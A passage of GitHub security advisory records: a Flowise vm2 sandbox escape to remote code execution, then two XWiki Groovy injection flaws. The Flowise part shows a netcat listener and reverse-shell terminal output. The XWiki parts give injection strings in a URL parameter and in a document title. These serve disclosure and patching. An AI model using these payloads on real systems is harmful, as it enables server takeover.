Tool\\\"}],\\\"outputs\\\":{},\\\"selected\\\":false,\\\"type\\\":\\\"AgentAsTool\\\",\\\"version\\\":1},\\\"dragging\\\":false,\\\"height\\\":803,\\\"id\\\":\\\"agentAsTool_0\\\",\\\"position\\\":{\\\"x\\\":474.3499595861873,\\\"y\\\":188.396206969314},\\\"positionAbsolute\\\":{\\\"x\\\":474.3499595861873,\\\"y\\\":188.396206969314},\\\"selected\\\":true,\\\"type\\\":\\\"customNode\\\",\\\"width\\\":300},{\\\"data\\\":{\\\"baseClasses\\\":[\\\"BufferMemory\\\",\\\"BaseChatMemory\\\",\\\"BaseMemory\\\"],\\\"category\\\":\\\"Memory\\\",\\\"description\\\":\\\"Retrieve chat messages stored in database\\\",\\\"filePath\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/BufferMemory.js\\\",\\\"icon\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/memory.svg\\\",\\\"id\\\":\\\"bufferMemory_0\\\",\\\"inputAnchors\\\":[],\\\"inputParams\\\":[{\\\"additionalParams\\\":true,\\\"default\\\":\\\"\\\",\\\"description\\\":\\\"If not specified, a random id will be used. Learn \u003ca target=\\\\\\\"_blank\\\\\\\" href=\\\\\\\"https://docs.flowiseai.com/memory#ui-and-embedded-chat\\\\\\\"\u003emore\u003c/a\u003e\\\",\\\"display\\\":true,\\\"id\\\":\\\"bufferMemory_0-input-sessionId-string\\\",\\\"label\\\":\\\"Session Id\\\",\\\"name\\\":\\\"sessionId\\\",\\\"optional\\\":true,\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":\\\"chat_history\\\",\\\"display\\\":true,\\\"id\\\":\\\"bufferMemory_0-input-memoryKey-string\\\",\\\"label\\\":\\\"Memory Key\\\",\\\"name\\\":\\\"memoryKey\\\",\\\"type\\\":\\\"string\\\"}],\\\"inputs\\\":{\\\"memoryKey\\\":\\\"chat_history\\\",\\\"sessionId\\\":\\\"\\\"},\\\"label\\\":\\\"Buffer Memory\\\",\\\"name\\\":\\\"bufferMemory\\\",\\\"outputAnchors\\\":[{\\\"description\\\":\\\"Retrieve chat messages stored in database\\\",\\\"id\\\":\\\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\\\",\\\"label\\\":\\\"BufferMemory\\\",\\\"name\\\":\\\"bufferMemory\\\",\\\"type\\\":\\\"BufferMemory | BaseChatMemory | BaseMemory\\\"}],\\\"outputs\\\":{},\\\"selected\\\":false,\\\"type\\\":\\\"BufferMemory\\\",\\\"version\\\":2},\\\"dragging\\\":false,\\\"height\\\":259,\\\"id\\\":\\\"bufferMemory_0\\\",\\\"position\\\":{\\\"x\\\":471.8374151939384,\\\"y\\\":1024.5965766366546},\\\"positionAbsolute\\\":{\\\"x\\\":471.8374151939384,\\\"y\\\":1024.5965766366546},\\\"selected\\\":false,\\\"type\\\":\\\"customNode\\\",\\\"width\\\":300},{\\\"data\\\":{\\\"baseClasses\\\":[\\\"ChatOpenAI\\\",\\\"BaseChatOpenAI\\\",\\\"BaseChatModel\\\",\\\"BaseLanguageModel\\\",\\\"Runnable\\\"],\\\"category\\\":\\\"Chat Models\\\",\\\"credential\\\":\\\"5eabcf42-5547-4cda-8f31-1d0b9d70d508\\\",\\\"description\\\":\\\"Wrapper around OpenAI large language models that use the Chat endpoint\\\",\\\"filePath\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/ChatOpenAI.js\\\",\\\"icon\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/openai.svg\\\",\\\"id\\\":\\\"chatOpenAI_0\\\",\\\"inputAnchors\\\":[{\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-cache-BaseCache\\\",\\\"label\\\":\\\"Cache\\\",\\\"name\\\":\\\"cache\\\",\\\"optional\\\":true,\\\"type\\\":\\\"BaseCache\\\"}],\\\"inputParams\\\":[{\\\"credentialNames\\\":[\\\"openAIApi\\\"],\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-credential-credential\\\",\\\"label\\\":\\\"Connect Credential\\\",\\\"name\\\":\\\"credential\\\",\\\"type\\\":\\\"credential\\\"},{\\\"default\\\":\\\"gpt-4o-mini\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-modelName-asyncOptions\\\",\\\"label\\\":\\\"Model Name\\\",\\\"loadMethod\\\":\\\"listModels\\\",\\\"name\\\":\\\"modelName\\\",\\\"type\\\":\\\"asyncOptions\\\"},{\\\"default\\\":0.9,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-temperature-number\\\",\\\"label\\\":\\\"Temperature\\\",\\\"name\\\":\\\"temperature\\\",\\\"optional\\\":true,\\\"step\\\":0.1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-streaming-boolean\\\",\\\"label\\\":\\\"Streaming\\\",\\\"name\\\":\\\"streaming\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"default\\\":false,\\\"description\\\":\\\"Allow image input. Refer to the \u003ca href=\\\\\\\"https://docs.flowiseai.com/using-flowise/uploads#image\\\\\\\" target=\\\\\\\"_blank\\\\\\\"\u003edocs\u003c/a\u003e for more details.\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-allowImageUploads-boolean\\\",\\\"label\\\":\\\"Allow Image Uploads\\\",\\\"name\\\":\\\"allowImageUploads\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":false,\\\"description\\\":\\\"Whether the model supports reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-reasoning-boolean\\\",\\\"label\\\":\\\"Reasoning\\\",\\\"name\\\":\\\"reasoning\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Constrains effort on reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\\\",\\\"display\\\":false,\\\"id\\\":\\\"chatOpenAI_0-input-reasoningEffort-options\\\",\\\"label\\\":\\\"Reasoning Effort\\\",\\\"name\\\":\\\"reasoningEffort\\\",\\\"options\\\":[{\\\"label\\\":\\\"Low\\\",\\\"name\\\":\\\"low\\\"},{\\\"label\\\":\\\"Medium\\\",\\\"name\\\":\\\"medium\\\"},{\\\"label\\\":\\\"High\\\",\\\"name\\\":\\\"high\\\"},{\\\"description\\\":\\\"X-High is supported for all models after gpt-5.1-codex-max\\\",\\\"label\\\":\\\"X-High\\\",\\\"name\\\":\\\"xhigh\\\"}],\\\"show\\\":{\\\"reasoning\\\":true},\\\"type\\\":\\\"options\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"A summary of the reasoning performed by the model. This can be useful for debugging and understanding the model\u0027s reasoning process\\\",\\\"display\\\":false,\\\"id\\\":\\\"chatOpenAI_0-input-reasoningSummary-options\\\",\\\"label\\\":\\\"Reasoning Summary\\\",\\\"name\\\":\\\"reasoningSummary\\\",\\\"options\\\":[{\\\"label\\\":\\\"Auto\\\",\\\"name\\\":\\\"auto\\\"},{\\\"label\\\":\\\"Concise\\\",\\\"name\\\":\\\"concise\\\"},{\\\"label\\\":\\\"Detailed\\\",\\\"name\\\":\\\"detailed\\\"}],\\\"show\\\":{\\\"reasoning\\\":true},\\\"type\\\":\\\"options\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-maxTokens-number\\\",\\\"label\\\":\\\"Max Tokens\\\",\\\"name\\\":\\\"maxTokens\\\",\\\"optional\\\":true,\\\"step\\\":1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-topP-number\\\",\\\"label\\\":\\\"Top Probability\\\",\\\"name\\\":\\\"topP\\\",\\\"optional\\\":true,\\\"step\\\":0.1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-frequencyPenalty-number\\\",\\\"label\\\":\\\"Frequency Penalty\\\",\\\"name\\\":\\\"frequencyPenalty\\\",\\\"optional\\\":true,\\\"step\\\":0.1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-presencePenalty-number\\\",\\\"label\\\":\\\"Presence Penalty\\\",\\\"name\\\":\\\"presencePenalty\\\",\\\"optional\\\":true,\\\"step\\\":0.1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-timeout-number\\\",\\\"label\\\":\\\"Timeout\\\",\\\"name\\\":\\\"timeout\\\",\\\"optional\\\":true,\\\"step\\\":1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Whether the model supports the `strict` argument when passing in tools. If not specified, the `strict` argument will not be passed to OpenAI.\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-strictToolCalling-boolean\\\",\\\"label\\\":\\\"Strict Tool Calling\\\",\\\"name\\\":\\\"strictToolCalling\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"List of stop words to use when generating. Use comma to separate multiple stop words.\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-stopSequence-string\\\",\\\"label\\\":\\\"Stop Sequence\\\",\\\"name\\\":\\\"stopSequence\\\",\\\"optional\\\":true,\\\"rows\\\":4,\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Override the default base URL for the API, e.g., \\\\\\\"https://api.example.com/v2/\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-basepath-string\\\",\\\"label\\\":\\\"Base Path\\\",\\\"name\\\":\\\"basepath\\\",\\\"optional\\\":true,\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Default headers to include with every request to the API.\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-baseOptions-json\\\",\\\"label\\\":\\\"Base Options\\\",\\\"name\\\":\\\"baseOptions\\\",\\\"optional\\\":true,\\\"type\\\":\\\"json\\\"}],\\\"inputs\\\":{\\\"allowImageUploads\\\":\\\"\\\",\\\"baseOptions\\\":\\\"\\\",\\\"basepath\\\":\\\"\\\",\\\"cache\\\":\\\"\\\",\\\"frequencyPenalty\\\":\\\"\\\",\\\"maxTokens\\\":\\\"\\\",\\\"modelName\\\":\\\"gpt-4o-mini\\\",\\\"presencePenalty\\\":\\\"\\\",\\\"reasoning\\\":\\\"\\\",\\\"reasoningEffort\\\":\\\"\\\",\\\"reasoningSummary\\\":\\\"\\\",\\\"stopSequence\\\":\\\"\\\",\\\"streaming\\\":true,\\\"strictToolCalling\\\":\\\"\\\",\\\"temperature\\\":0.9,\\\"timeout\\\":\\\"\\\",\\\"topP\\\":\\\"\\\"},\\\"label\\\":\\\"OpenAI\\\",\\\"loadMethods\\\":{},\\\"name\\\":\\\"chatOpenAI\\\",\\\"outputAnchors\\\":[{\\\"description\\\":\\\"Wrapper around OpenAI large language models that use the Chat endpoint\\\",\\\"id\\\":\\\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\\\",\\\"label\\\":\\\"ChatOpenAI\\\",\\\"name\\\":\\\"chatOpenAI\\\",\\\"type\\\":\\\"ChatOpenAI | BaseChatOpenAI | BaseChatModel | BaseLanguageModel | Runnable\\\"}],\\\"outputs\\\":{},\\\"selected\\\":false,\\\"type\\\":\\\"ChatOpenAI\\\",\\\"version\\\":8.3},\\\"dragging\\\":false,\\\"height\\\":676,\\\"id\\\":\\\"chatOpenAI_0\\\",\\\"position\\\":{\\\"x\\\":150.47864305480687,\\\"y\\\":603.5006568904221},\\\"positionAbsolute\\\":{\\\"x\\\":150.47864305480687,\\\"y\\\":603.5006568904221},\\\"selected\\\":false,\\\"type\\\":\\\"customNode\\\",\\\"width\\\":300},{\\\"data\\\":{\\\"baseClasses\\\":[\\\"AgentExecutor\\\",\\\"BaseChain\\\",\\\"Runnable\\\"],\\\"category\\\":\\\"Agents\\\",\\\"description\\\":\\\"Agent that uses Function Calling to pick the tools and args to call\\\",\\\"filePath\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/ToolAgent.js\\\",\\\"icon\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/toolAgent.png\\\",\\\"id\\\":\\\"toolAgent_0\\\",\\\"inputAnchors\\\":[{\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-tools-Tool\\\",\\\"label\\\":\\\"Tools\\\",\\\"list\\\":true,\\\"name\\\":\\\"tools\\\",\\\"type\\\":\\\"Tool\\\"},{\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-memory-BaseChatMemory\\\",\\\"label\\\":\\\"Memory\\\",\\\"name\\\":\\\"memory\\\",\\\"type\\\":\\\"BaseChatMemory\\\"},{\\\"description\\\":\\\"Only compatible with models that are capable of function calling: ChatOpenAI, ChatMistral, ChatAnthropic, ChatGoogleGenerativeAI, ChatVertexAI, GroqChat\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-model-BaseChatModel\\\",\\\"label\\\":\\\"Tool Calling Chat Model\\\",\\\"name\\\":\\\"model\\\",\\\"type\\\":\\\"BaseChatModel\\\"},{\\\"description\\\":\\\"Override existing prompt with Chat Prompt Template. Human Message must includes {input} variable\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-chatPromptTemplate-ChatPromptTemplate\\\",\\\"label\\\":\\\"Chat Prompt Template\\\",\\\"name\\\":\\\"chatPromptTemplate\\\",\\\"optional\\\":true,\\\"type\\\":\\\"ChatPromptTemplate\\\"},{\\\"description\\\":\\\"Detect text that could generate harmful output and prevent it from being sent to the language model\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-inputModeration-Moderation\\\",\\\"label\\\":\\\"Input Moderation\\\",\\\"list\\\":true,\\\"name\\\":\\\"inputModeration\\\",\\\"optional\\\":true,\\\"type\\\":\\\"Moderation\\\"}],\\\"inputParams\\\":[{\\\"additionalParams\\\":true,\\\"default\\\":\\\"You are a helpful AI assistant.\\\",\\\"description\\\":\\\"If Chat Prompt Template is provided, this will be ignored\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-systemMessage-string\\\",\\\"label\\\":\\\"System Message\\\",\\\"name\\\":\\\"systemMessage\\\",\\\"optional\\\":true,\\\"rows\\\":4,\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-maxIterations-number\\\",\\\"label\\\":\\\"Max Iterations\\\",\\\"name\\\":\\\"maxIterations\\\",\\\"optional\\\":true,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":false,\\\"description\\\":\\\"Stream detailed intermediate steps during agent execution\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-enableDetailedStreaming-boolean\\\",\\\"label\\\":\\\"Enable Detailed Streaming\\\",\\\"name\\\":\\\"enableDetailedStreaming\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"}],\\\"inputs\\\":{\\\"chatPromptTemplate\\\":\\\"\\\",\\\"enableDetailedStreaming\\\":\\\"\\\",\\\"inputModeration\\\":\\\"\\\",\\\"maxIterations\\\":\\\"\\\",\\\"memory\\\":\\\"{{bufferMemory_0.data.instance}}\\\",\\\"model\\\":\\\"{{chatOpenAI_0.data.instance}}\\\",\\\"systemMessage\\\":\\\"You are a helpful AI assistant.\\\",\\\"tools\\\":[\\\"{{agentAsTool_0.data.instance}}\\\"]},\\\"label\\\":\\\"Tool Agent\\\",\\\"name\\\":\\\"toolAgent\\\",\\\"outputAnchors\\\":[{\\\"description\\\":\\\"Agent that uses Function Calling to pick the tools and args to call\\\",\\\"id\\\":\\\"toolAgent_0-output-toolAgent-AgentExecutor|BaseChain|Runnable\\\",\\\"label\\\":\\\"AgentExecutor\\\",\\\"name\\\":\\\"toolAgent\\\",\\\"type\\\":\\\"AgentExecutor | BaseChain | Runnable\\\"}],\\\"outputs\\\":{},\\\"selected\\\":false,\\\"type\\\":\\\"AgentExecutor\\\",\\\"version\\\":2},\\\"dragging\\\":false,\\\"height\\\":492,\\\"id\\\":\\\"toolAgent_0\\\",\\\"position\\\":{\\\"x\\\":1078.1036951401863,\\\"y\\\":523.9186243849886},\\\"positionAbsolute\\\":{\\\"x\\\":1078.1036951401863,\\\"y\\\":523.9186243849886},\\\"selected\\\":false,\\\"type\\\":\\\"customNode\\\",\\\"width\\\":300}],\\\"edges\\\":[{\\\"id\\\":\\\"agentAsTool_0-agentAsTool_0-output-agentAsTool-AgentAsTool|Tool-toolAgent_0-toolAgent_0-input-tools-Tool\\\",\\\"source\\\":\\\"agentAsTool_0\\\",\\\"sourceHandle\\\":\\\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\\\",\\\"target\\\":\\\"toolAgent_0\\\",\\\"targetHandle\\\":\\\"toolAgent_0-input-tools-Tool\\\",\\\"type\\\":\\\"buttonedge\\\"},{\\\"id\\\":\\\"bufferMemory_0-bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory-toolAgent_0-toolAgent_0-input-memory-BaseChatMemory\\\",\\\"source\\\":\\\"bufferMemory_0\\\",\\\"sourceHandle\\\":\\\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\\\",\\\"target\\\":\\\"toolAgent_0\\\",\\\"targetHandle\\\":\\\"toolAgent_0-input-memory-BaseChatMemory\\\",\\\"type\\\":\\\"buttonedge\\\"},{\\\"id\\\":\\\"chatOpenAI_0-chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable-toolAgent_0-toolAgent_0-input-model-BaseChatModel\\\",\\\"source\\\":\\\"chatOpenAI_0\\\",\\\"sourceHandle\\\":\\\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\\\",\\\"target\\\":\\\"toolAgent_0\\\",\\\"targetHandle\\\":\\\"toolAgent_0-input-model-BaseChatModel\\\",\\\"type\\\":\\\"buttonedge\\\"}],\\\"viewport\\\":{\\\"x\\\":372.22296982366913,\\\"y\\\":-109.94336492566799,\\\"zoom\\\":0.8069922237942956}}\"}\n```\n\n6. Send a chat message using the Chatflow and observe the reverse shell payload being executed outside the `vm2` sandbox, as shown in the terminal output below.\n\n```terminal\n$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 45533\nid\nuid=1000(node) gid=1000(node) groups=1000(node),1000(node)\nls -al\ntotal 36\ndrwxrwxr-x    1 node     node          4096 Apr  9 07:49 .\ndrwxrwxr-x    1 node     node          4096 Apr 11 10:03 ..\n-rw-rw-r--    1 node     node            21 Apr  9 07:49 .gitattributes\n-rwxrwxr-x    1 node     node           419 Apr  9 07:49 dev\n-rwxrwxr-x    1 node     node            30 Apr  9 07:49 dev.cmd\n-rwxr-xr-x    1 node     node           143 Apr  9 07:49 run\n-rwxrwxr-x    1 node     node            30 Apr  9 07:49 run.cmd\ncd /usr/src/flowise\nls\nCODE_OF_CONDUCT.md\nCONTRIBUTING.md\nDockerfile\nLICENSE.md\nREADME.md\nSECURITY.md\nartillery-load-test.yml\nassets\ndocker\ni18n\nimages\nmetrics\nnode_modules\npackage.json\npackages\npnpm-lock.yaml\npnpm-workspace.yaml\nturbo.json\ncat .git/HEAD\nref: refs/heads/main\ncat .git/refs/heads/main\ndddfb3c90eec900d747790a439bd362a764039cd \u003c1\u003e\n```\n\u003c1\u003e Confirmation that the sandbox escape impacts Flowise commit `dddfb3c90eec900d747790a439bd362a764039cd`.\n\nIII. Impact\n\nThis sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise that uses the default `vm2` sandbox, resulting in full compromise of the application.\n\nIV.  Solution\n\nThe current maintainers of the `vm2` sandbox strongly advise against executing untrusted code within it due to security risks (https://github.com/patriksimek/vm2?tab=readme-ov-file#important-security-disclaimer). To prevent JavaScript sandbox escapes in Flowise, a more secure alternative, such as https://github.com/laverdet/isolated-vm, should be used.\n\nUpdating to the latest version of `vm2` sandbox will not patch this sandbox escape vulnerability.\n\nV.   References\n\n* `vm2` Security Disclaimer: https://github.com/patriksimek/vm2?tab=readme-ov-file#important-security-disclaimer\n* `isolated-vm`: https://github.com/laverdet/isolated-vm",
  "id": "GHSA-wg86-r78f-74mp",
  "modified": "2026-08-04T15:13:33Z",
  "published": "2026-08-04T15:13:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wg86-r78f-74mp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6417"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/3f257bdc8196082a178da7134a075824401b13b9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise Sandbox Escape to RCE"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-flamingo-theme-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.2.4"
            },
            {
              "fixed": "13.10.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-flamingo-theme-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.0"
            },
            {
              "fixed": "14.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-flamingo-theme-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.5"
            },
            {
              "fixed": "14.9-rc-1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-03T22:51:02Z",
    "nvd_published_at": "2023-03-02T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nIt\u0027s possible to inject arbitrary wiki syntax including Groovy, Python and Velocity script macros via the `newThemeName` request parameter (URL parameter), in combination with additional parameters `form_token=1\u0026action=create`.\n\nFor instance: [http://127.0.0.1:8080/xwiki/bin/view/FlamingoThemesCode/WebHomeSheet?newThemeName=foo%22%2F%7D%7D%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D\u0026form_token=1\u0026action=create](http://127.0.0.1:8080/xwiki/bin/view/FlamingoThemesCode/WebHomeSheet?**newThemeName**=foo%22%2F%7D%7D%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D\u0026form_token=1\u0026action=create) will execute the following groovy code: `println(\"hello from groovy!\")` on the server.\n\n### Patches\nThis has been patched in the supported versions 13.10.10, 14.9-rc-1, and 14.4.6.\n\n### Workarounds\nIt is possible to edit `FlamingoThemesCode.WebHomeSheet` and manually perform the changes from [the patch fixing the issue](https://github.com/xwiki/xwiki-platform/commit/ea2e615f50a918802fd60b09ec87aa04bc6ea8e2#diff-e2153fa59f9d92ef67b0afbf27984bd17170921a3b558fac227160003d0dfd2aR283-R284).\n\n### References\n- https://github.com/xwiki/xwiki-platform/commit/ea2e615f50a918802fd60b09ec87aa04bc6ea8e2#diff-e2153fa59f9d92ef67b0afbf27984bd17170921a3b558fac227160003d0dfd2aR283-R284\n- https://jira.xwiki.org/browse/XWIKI-19757\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
  "id": "GHSA-x2qm-r4wx-8gpg",
  "modified": "2023-03-03T22:51:02Z",
  "published": "2023-03-03T22:51:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-x2qm-r4wx-8gpg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26477"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/ea2e615f50a918802fd60b09ec87aa04bc6ea8e2#diff-e2153fa59f9d92ef67b0afbf27984bd17170921a3b558fac227160003d0dfd2aR283-R284"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-19757"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "org.xwiki.platform:xwiki-platform-flamingo-theme-ui Eval Injection vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-search-solr-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.2-rc-1"
            },
            {
              "fixed": "14.10.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-search-solr-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0-rc-1"
            },
            {
              "fixed": "15.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-search-solr-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.6-rc-1"
            },
            {
              "fixed": "15.10-rc-1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-31984"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-10T17:13:15Z",
    "nvd_published_at": "2024-04-10T20:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nBy creating a document with a specially crafted title, it is possible to trigger remote code execution in the (Solr-based) search in XWiki. This allows any user who can edit the title of a space (all users by default) to execute any Groovy code in the XWiki installation which compromises the confidentiality, integrity and availability of the whole XWiki installation.\n\nTo reproduce, as a user without script nor programming rights, create a document with title `{{/html}}{{async}}{{groovy}}println(\"Hello from Groovy Title!\"){{/groovy}}{{/async}}` and content `Test Document`. Using the search UI, search for `\"Test Document\"`, then deploy the `Location` facet on the right of the screen, next to the search results. The installation is vulnerable if you see an item such as:\n```\nHello from Groovy Title!\n\u003c/a\u003e\n\u003cdiv class=\"itemCount\"\u003e1\u003c/div\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n{{/html}}\n```\n\n### Patches\nThis has been patched in XWiki 14.10.20, 15.5.4 and 15.10 RC1.\n\n### Workarounds\nModify the `Main.SolrSpaceFacet` page following this [patch](https://github.com/xwiki/xwiki-platform/commit/acba74c149a041345b24dcca52c586f872ba97fb#diff-22dd1949ed9019a39f2550f5a953a1a967c30a374dc9eeddb74069bf229b17d5).\n\n### References\n* https://jira.xwiki.org/browse/XWIKI-21471\n* https://github.com/xwiki/xwiki-platform/commit/acba74c149a041345b24dcca52c586f872ba97fb\n* https://github.com/xwiki/xwiki-platform/commit/74e301c481e69eeea674dac7fed6af3614cf08c5\n",
  "id": "GHSA-xm4h-3jxr-m3c6",
  "modified": "2024-04-10T22:01:16Z",
  "published": "2024-04-10T17:13:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-xm4h-3jxr-m3c6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31984"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/43c9d551e3c11e9d8f176b556dd33bbe31fc66e0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/5ef9d294d37be92ee22b2549e38663b29dce8767"
    },
    {
      "type": "WEB",
